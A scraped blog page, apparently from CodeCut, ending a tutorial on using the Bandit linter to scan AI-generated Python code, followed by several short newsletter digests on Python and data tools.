For example, a typical test file might get flagged as follows:
# tests/test_orders.py
def test_get_orders():
orders = get_orders(conn, "42")
assert len(orders) > 0 # ← B101 fires here

B101 fires because Python’s -O flag strips out every assert statement. In production code, that turns checks like assert user.is_admin into nothing: the line disappears at runtime and the function continues without it.
Tests are different. Pytest never runs with -O, so an assert in a test file is harmless, and the same finding is just noise.
The simplest fix is to turn B101 off entirely:
# pyproject.toml
[tool.bandit]
skips = ["B101"]

However, this also disables the protection in production code. For finer control, drop the top-level skips and use the per-rule plugin config to skip only test files:
# pyproject.toml
[tool.bandit.assert_used]
skips = ["**/test_*.py", "**/*_test.py"]

Now an assert in tests/test_orders.py is silent, but assert user.is_admin in non-test code still fires.
project/
├── src/
│ └── auth.py
│ assert user.is_admin → B101 fires ⚠
└── tests/
└── test_orders.py
assert len(orders) > 0 → skipped ✓

Excluding Directories
If you also want to skip whole directories (virtualenvs, build outputs), add them to exclude_dirs:
# pyproject.toml
[tool.bandit]
exclude_dirs = ["venv", ".venv", "build"]

[tool.bandit.assert_used]
skips = ["**/test_*.py", "**/*_test.py"]

Run Bandit with the config:
bandit -r src/ -c pyproject.toml

Suppressing One-Off Findings with # nosec
For findings that need a one-off exception, use an inline # nosec comment (short for “no security”) with the rule ID and a justification:

Rule ID (required): the specific rule code (e.g., B101).
Justification (optional): a short reason for the suppression, for human reviewers.

Let’s apply this to the previous example:
# bandit_examples/nosec_demo.py
API_SECRET = "sk_test_4eC39HqLyjWDarjtT1zdp7dc" # nosec B105 – dummy value for demo, not a real key

bandit bandit_examples/nosec_demo.py

Test results:
No issues identified.

Code scanned:
Total lines of code: 1
Total lines skipped (#nosec): 0
Total potential issues skipped due to specifically being disabled (e.g., #nosec BXXX): 1

Bandit reports “No issues identified” and increments the “specifically being disabled” counter to 1, confirming the targeted suppression worked.
Automating Bandit Locally and in CI
Running Bandit manually only works if you remember to do it. The two reliable automation points are a pre-commit hook on each developer’s machine and a CI job on every push.
Pre-Commit
The pre-commit framework lets you wire Bandit into a Git hook so it runs automatically every time anyone on the team stages changes.
Add a .pre-commit-config.yaml to the project root:
# .pre-commit-config.yaml
repos:
– repo: https://github.com/PyCQA/bandit
rev: 1.9.4
hooks:
– id: bandit
args: ["-c", "pyproject.toml", "-ll"]
additional_dependencies: ["bandit[toml]"]

Install the hook once:
pip install pre-commit
pre-commit install

From this point on, every git commit runs Bandit against the staged files. If your AI assistant generates one of the antipatterns from earlier, the commit is blocked until you fix it.
The hook treats AI-generated code the same as anything else: clean code passes, flagged code is rejected before it can land in history.
%%{init: {“theme”: “dark”}}%%
flowchart TD
A[AI assistantgenerates code] –> B[git add]
B –> C[git commit]
C –> D[pre-commit hook]
D –> E{Bandit scan}
E — B105, B307, B324, … –> F[❌ commit aborted]
E — clean –> G[✅ commit lands on branch]
To catch any existing findings before the next commit, run the hook against the whole repo:
pre-commit run bandit –all-files

GitHub Actions
Pre-commit hooks live on each developer’s machine, so a teammate might forget to run pre-commit install and ship findings anyway. To ensure that all code is scanned, add a GitHub Actions job that runs Bandit on every push and pull request:
# .github/workflows/security.yml
name: Security Scan
on: [push, pull_request]

jobs:
bandit:
runs-on: ubuntu-latest
steps:
– uses: actions/checkout@v4
– uses: actions/setup-python@v5
with:
python-version: "3.12"
– run: pip install "bandit[toml]"
– run: bandit -r src/ -c pyproject.toml -ll

This workflow runs the following steps:

Check out the code.
Install Python and Bandit.
Run Bandit recursively on src/ using your pyproject.toml config.

For a richer report in pull requests, output JSON and upload it as a build artifact. Anyone with access to the run can download the file, search it programmatically, or post-process it to build dashboards and trend reports:
– run: bandit -r src/ -c pyproject.toml -ll -f json -o bandit-report.json
continue-on-error: false
– uses: actions/upload-artifact@v4
if: always()
with:
name: bandit-report
path: bandit-report.json

Together with the pre-commit hook, this gives two layers of defense: the hook catches issues at commit time on developer machines, and CI catches anything that slipped past.

📖 To test the workflow locally before pushing, see How to Test GitHub Actions Locally with act.

Alternative: Ruff S-Rules
Ruff is a fast Python linter and formatter written in Rust. It has ported most of flake8-bandit (which itself wraps Bandit) under its S rule prefix, so if you already run Ruff for linting, you can enable the security checks with two lines in pyproject.toml:
[tool.ruff.lint]
select = ["S"]

Ruff S-rules cover seven of the eight antipatterns from the previous section (every one except B615, the Hugging Face check, which has no Ruff equivalent). They run 10 to 100 times faster than Bandit because Ruff is written in Rust and shares its AST traversal with the rest of the linting pass.
Run it:
ruff check –select S src/

S105 Possible hardcoded password assigned to: "API_SECRET"
–> bandit_examples/api_client.py:3:14

S307 Use of possibly insecure function; consider using `ast.literal_eval`
–> bandit_examples/eval_demo.py:2:12

S324 Probable use of insecure hash functions in `hashlib`: `md5`
–> bandit_examples/md5_demo.py:4:12

The rule IDs map directly: S105 is B105, S307 is B307, S324 is B324, and so on.
Keep in mind that Ruff has not ported every Bandit check. As of Bandit 1.9.4, six rules have no Ruff equivalent and target frameworks that data scientists actually use:

Bandit rule
Catches

B610
Django ORM extra() SQL injection

B611
Django ORM RawSQL injection

B612
Insecure deserialization in logging.config.listen()

B613
TarFile.extractall path traversal

B614
PyTorch unsafe torch.load

B615
Hugging Face unsafe from_pretrained download

If your project uses Django, SQLAlchemy with raw SQL, PyTorch, or Hugging Face, Bandit is still the better choice. For pure-Python projects without those frameworks, Ruff S-rules are sufficient and faster.

📖 If you have not set up Ruff yet, How to Structure a Data Science Project for Maintainability walks through wiring Ruff and mypy into a pre-commit hook.

Bandit vs. AI Code Review
Bandit and AI code review tools like CodeRabbit solve different parts of the review problem:

Bandit: applies a fixed set of deterministic rules for known Python risks such as eval, pickle.loads, weak hashes, hardcoded secrets, and SQL string concatenation. It is predictable, but limited to patterns it knows.
CodeRabbit: uses an LLM to review diffs for logic, design, and style issues. It can catch broader problems, but its output can vary across runs, so a clean review should not be treated as proof that the code is secure.

Bandit on the same file, three days in a row:

Day 1: bandit src/api.py → B105 at api.py:3
Day 2: bandit src/api.py → B105 at api.py:3
Day 3: bandit src/api.py → B105 at api.py:3

CodeRabbit on the same diff, three days in a row:

Day 1: review the diff → flags hardcoded key, suggests env var
Day 2: review the diff → flags hardcoded key, mentions vault
Day 3: review the diff → silent on the key, mentions docstring

I suggest running Bandit in your pre-commit hook and CI for deterministic security catches, then adding CodeRabbit (or a similar AI reviewer) as a GitHub App to comment on every PR with broader feedback.
Final Thoughts
Don’t expect AI assistants to write secure code by default. They learn from public repositories full of insecure patterns, and Veracode’s data shows their security pass rate has barely moved in two years.
Instead, treat AI-generated code like any other untrusted contribution: scan it, review it, ship what is safe, and reject what is not. Bandit covers the scan step for free, and pairs cleanly with pre-commit, CI, and AI code review on top.
Related Tutorials

Hydra for Python Configuration: build modular and maintainable config files.

Stay Current with CodeCut
Easy-to-digest articles on Python, AI, and open-source tools. Delivered twice a week.

.codecut-subscribe-wrap {
display: flex;
justify-content: center;
}

.codecut-subscribe-btn {
background: #72BEFA !important;
color: #2F2D2E !important;
border: none;
border-radius: 8px;
padding: 12px 28px;
font-family: inherit;
font-size: 16px;
font-weight: 700;
cursor: pointer;
text-decoration: none !important;
display: inline-flex;
align-items: center;
justify-content: center;
transition: background 0.3s ease;
}

.codecut-subscribe-btn:hover,
.codecut-subscribe-btn:focus {
background: #5aa8e8 !important;
color: #2F2D2E !important;
text-decoration: none !important;
}

/* Mobile responsive */
@media (max-width: 480px) {
.codecut-subscribe-btn {
width: 100%;
text-align: center;
}
}

Subscribe for free

📚 Want to go deeper? Learning new techniques is the easy part. Knowing how to structure, test, and deploy them is what separates side projects from real work. My book shows you how to build data science projects that actually make it to production. Get the book →

pre.mermaid { background: transparent !important; padding: 0 !important; } pre.mermaid svg { background: transparent !important; } pre.mermaid .cluster rect { fill: transparent !important; stroke: #555 !important; }

Bandit: Audit AI-Generated Python for Security Flaws Read More »

Slim: Shrink Docker Images by 30x with One Command

Grab your coffee. Here are this week’s highlights.

📅 Today’s Picks

Slim: Shrink Docker Images by 30x with One Command

Problem
Docker images include the entire OS layer. For a simple Python app, this is unnecessary because it never touches the shells, compilers, and system utilities bundled inside.
This inflates images to hundreds of megabytes, wasting storage and adding time to every deploy.
Solution
Slim automatically analyzes your container at runtime to identify which files are actually used, then builds a minimal image with only essential components.
Slim works alongside Docker, not instead of it:

Step 1: Build your image with docker build
Step 2: Minify with slim build your-image
Step 3: Push the .slim image to your registry
Your Dockerfile and workflow stay the same

Polars: Vectorize List Column Transformations with list.eval

Problem
When working with list columns, most people reach for apply with a Python lambda that loops over every list row by row.
That approach breaks vectorization, so performance quickly degrades as the dataset grows.
Solution
Polars solves this with list.eval, which runs a full expression against each list using pl.element() and stays fully vectorized.
Key benefits:

Vectorized per-element transformations without Python loops
Support for a wide range of expressions, including aggregations like max, mean, and sum
Composable with other Polars expressions for clean, readable pipelines

📖 View Full Article

☕️ Weekly Finds

pyupgrade
[Code Quality]
– A tool (and pre-commit hook) to automatically upgrade syntax for newer versions of Python.

doxx
[Python Utils]
– Expose the contents of .docx files without leaving your terminal. Fast, safe, and smart, with no Office required.

ingestr
[Data Processing]
– ingestr is a CLI tool to copy data between any databases with a single command seamlessly.

Looking for a specific tool? Explore 70+ Python tools →

Stay Current with CodeCut

Actionable Python tips, curated for busy data pros. Skim in under 2 minutes, three times a week.

.codecut-subscribe-form .codecut-input {
background: #2F2D2E !important;
border: 1px solid #72BEFA !important;
color: #FFFFFF !important;
}
.codecut-subscribe-form .codecut-input::placeholder {
color: #999999 !important;
}
.codecut-subscribe-form .codecut-subscribe-btn {
background: #72BEFA !important;
color: #2F2D2E !important;
}
.codecut-subscribe-form .codecut-subscribe-btn:hover {
background: #5aa8e8 !important;
}

.codecut-subscribe-form {
max-width: 650px;
display: flex;
flex-direction: column;
gap: 8px;
}
.codecut-input {
-webkit-appearance: none;
-moz-appearance: none;
appearance: none;
background: #FFFFFF;
border-radius: 8px !important;
padding: 8px 12px;
font-family: ‘Comfortaa’, sans-serif !important;
font-size: 14px !important;
color: #333333;
border: none !important;
outline: none;
width: 100%;
box-sizing: border-box;
}
input[type=”email”].codecut-input {
border-radius: 8px !important;
}
.codecut-input::placeholder {
color: #666666;
}
.codecut-email-row {
display: flex;
align-items: stretch;
height: 36px;
gap: 8px;
}
.codecut-email-row .codecut-input {
flex: 1;
}
.codecut-subscribe-btn {
background: #72BEFA;
color: #2F2D2E;
border: none;
border-radius: 8px;
padding: 8px 14px;
font-family: ‘Comfortaa’, sans-serif;
font-size: 14px;
font-weight: 500;
cursor: pointer;
text-decoration: none;
display: flex;
align-items: center;
justify-content: center;
transition: background 0.3s ease;
}
.codecut-subscribe-btn:hover {
background: #5aa8e8;
}
.codecut-subscribe-btn:disabled {
background: #999;
cursor: not-allowed;
}
.codecut-message {
font-family: ‘Comfortaa’, sans-serif;
font-size: 12px;
padding: 8px;
border-radius: 6px;
display: none;
}
.codecut-message.success {
background: #d4edda;
color: #155724;
display: block;
}
@media (max-width: 480px) {
.codecut-email-row {
flex-direction: column;
height: auto;
gap: 8px;
}
.codecut-input {
border-radius: 8px;
height: 36px;
}
.codecut-subscribe-btn {
width: 100%;
text-align: center;
border-radius: 8px;
height: 36px;
}
}

Subscribe

Slim: Shrink Docker Images by 30x with One Command Read More »

Mem0: Turn AI Conversations into a Knowledge Graph

Grab your coffee. Here are this week’s highlights.

📅 Today’s Picks

Mem0: Turn AI Conversations into a Knowledge Graph

Problem
Vector databases store each memory as an independent embedding. You can search for similar text, but they cannot link entities across facts or follow relationships between them.
Store “Alice and Bob are collaborating” and “Alice leads payments” separately, and a vector store cannot recognize that both facts refer to the same Alice.
Solution
Mem0 fixes this by extracting entities and relationships from each conversation.
When you store “Alice and Bob are collaborating” and “Alice leads payments,” Mem0 recognizes that both facts refer to the same Alice and links them in a knowledge graph.
Key capabilities:

Reads raw conversations and identifies the entities for you
Relationship tracking between people, projects, and concepts
A memory layer that grows smarter with every interaction

🧪 Run code

lakeFS: Bring Git-Style Branches and Commits to Cloud Storage

Problem
Cloud storage like S3, Google Cloud Storage, and Azure Blob has no concept of versions, branches, or commits like Git does.
As a result, testing changes can mean copying terabytes of data, and fixing mistakes requires tedious file-by-file restores.
Solution
lakeFS turns your cloud storage into a Git-like repository. You get branches, commits, merges, and instant rollback, all without copying data.

☕️ Weekly Finds

unsloth
[LLM]
– Fine-tune LLMs 5x faster with 60% less memory using QLoRA, no accuracy loss.

context7
[RAG]
– Pulls up-to-date, version-specific docs and code examples straight into your LLM prompts and AI code editors.

Repomix
[LLM]
– Packs your entire repository into a single AI-friendly file you can paste into Claude, ChatGPT, or Gemini.

Looking for a specific tool? Explore 70+ Python tools →

Stay Current with CodeCut

Actionable Python tips, curated for busy data pros. Skim in under 2 minutes, three times a week.

.codecut-subscribe-form .codecut-input {
background: #2F2D2E !important;
border: 1px solid #72BEFA !important;
color: #FFFFFF !important;
}
.codecut-subscribe-form .codecut-input::placeholder {
color: #999999 !important;
}
.codecut-subscribe-form .codecut-subscribe-btn {
background: #72BEFA !important;
color: #2F2D2E !important;
}
.codecut-subscribe-form .codecut-subscribe-btn:hover {
background: #5aa8e8 !important;
}

.codecut-subscribe-form {
max-width: 650px;
display: flex;
flex-direction: column;
gap: 8px;
}
.codecut-input {
-webkit-appearance: none;
-moz-appearance: none;
appearance: none;
background: #FFFFFF;
border-radius: 8px !important;
padding: 8px 12px;
font-family: ‘Comfortaa’, sans-serif !important;
font-size: 14px !important;
color: #333333;
border: none !important;
outline: none;
width: 100%;
box-sizing: border-box;
}
input[type=”email”].codecut-input {
border-radius: 8px !important;
}
.codecut-input::placeholder {
color: #666666;
}
.codecut-email-row {
display: flex;
align-items: stretch;
height: 36px;
gap: 8px;
}
.codecut-email-row .codecut-input {
flex: 1;
}
.codecut-subscribe-btn {
background: #72BEFA;
color: #2F2D2E;
border: none;
border-radius: 8px;
padding: 8px 14px;
font-family: ‘Comfortaa’, sans-serif;
font-size: 14px;
font-weight: 500;
cursor: pointer;
text-decoration: none;
display: flex;
align-items: center;
justify-content: center;
transition: background 0.3s ease;
}
.codecut-subscribe-btn:hover {
background: #5aa8e8;
}
.codecut-subscribe-btn:disabled {
background: #999;
cursor: not-allowed;
}
.codecut-message {
font-family: ‘Comfortaa’, sans-serif;
font-size: 12px;
padding: 8px;
border-radius: 6px;
display: none;
}
.codecut-message.success {
background: #d4edda;
color: #155724;
display: block;
}
@media (max-width: 480px) {
.codecut-email-row {
flex-direction: column;
height: auto;
gap: 8px;
}
.codecut-input {
border-radius: 8px;
height: 36px;
}
.codecut-subscribe-btn {
width: 100%;
text-align: center;
border-radius: 8px;
height: 36px;
}
}

Subscribe

Mem0: Turn AI Conversations into a Knowledge Graph Read More »

Generate Time-Sortable IDs with Python 3.14’s UUID v7

Grab your coffee. Here are this week’s highlights.

📅 Today’s Picks

Generate Time-Sortable IDs with Python 3.14’s UUID v7

Problem
UUID4 generates purely random identifiers that lack chronological ordering.
Without embedded timestamps, you need separate timestamp fields and custom sorting logic to organize records by creation time.
Solution
Python 3.14 introduces UUID version 7 with built-in timestamp ordering.
Key features:

Determine creation order by comparing two UUIDs directly
Retrieve exact creation time by extracting the embedded timestamp

Pyrefly: Automatic Type Inference for Python

Problem
By default, MyPy ignores untyped function bodies, forcing you to manually annotate variables and return types to get meaningful type checking.
This adds overhead and clutters your code with types that don’t add much value.
Solution
Pyrefly automatically infers return types and local variable types from usage, so you only annotate function parameters and public APIs where it matters.
Other features:

Lightning-fast type checking built in Rust
Works with VSCode, Neovim, Helix, Emacs, and Zed
Recognizes dataclass transforms from attrs, Pydantic, and similar libraries

☕️ Weekly Finds

pyrsistent
[Python Utils]
– Persistent/Immutable/Functional data structures for Python

wrapt
[Python Utils]
– A Python module for decorators, wrappers and monkey patching

Shiny for Python
[Dashboard]
– Build fast, beautiful reactive web applications in Python

Looking for a specific tool? Explore 70+ Python tools →

Stay Current with CodeCut

Actionable Python tips, curated for busy data pros. Skim in under 2 minutes, three times a week.

.codecut-subscribe-form .codecut-input {
background: #2F2D2E !important;
border: 1px solid #72BEFA !important;
color: #FFFFFF !important;
}
.codecut-subscribe-form .codecut-input::placeholder {
color: #999999 !important;
}
.codecut-subscribe-form .codecut-subscribe-btn {
background: #72BEFA !important;
color: #2F2D2E !important;
}
.codecut-subscribe-form .codecut-subscribe-btn:hover {
background: #5aa8e8 !important;
}

.codecut-subscribe-form {
max-width: 650px;
display: flex;
flex-direction: column;
gap: 8px;
}
.codecut-input {
-webkit-appearance: none;
-moz-appearance: none;
appearance: none;
background: #FFFFFF;
border-radius: 8px !important;
padding: 8px 12px;
font-family: ‘Comfortaa’, sans-serif !important;
font-size: 14px !important;
color: #333333;
border: none !important;
outline: none;
width: 100%;
box-sizing: border-box;
}
input[type=”email”].codecut-input {
border-radius: 8px !important;
}
.codecut-input::placeholder {
color: #666666;
}
.codecut-email-row {
display: flex;
align-items: stretch;
height: 36px;
gap: 8px;
}
.codecut-email-row .codecut-input {
flex: 1;
}
.codecut-subscribe-btn {
background: #72BEFA;
color: #2F2D2E;
border: none;
border-radius: 8px;
padding: 8px 14px;
font-family: ‘Comfortaa’, sans-serif;
font-size: 14px;
font-weight: 500;
cursor: pointer;
text-decoration: none;
display: flex;
align-items: center;
justify-content: center;
transition: background 0.3s ease;
}
.codecut-subscribe-btn:hover {
background: #5aa8e8;
}
.codecut-subscribe-btn:disabled {
background: #999;
cursor: not-allowed;
}
.codecut-message {
font-family: ‘Comfortaa’, sans-serif;
font-size: 12px;
padding: 8px;
border-radius: 6px;
display: none;
}
.codecut-message.success {
background: #d4edda;
color: #155724;
display: block;
}
@media (max-width: 480px) {
.codecut-email-row {
flex-direction: column;
height: auto;
gap: 8px;
}
.codecut-input {
border-radius: 8px;
height: 36px;
}
.codecut-subscribe-btn {
width: 100%;
text-align: center;
border-radius: 8px;
height: 36px;
}
}

Subscribe

Generate Time-Sortable IDs with Python 3.14’s UUID v7 Read More »

Scroll to Top

Work with Khuyen Tran

Work with Khuyen Tran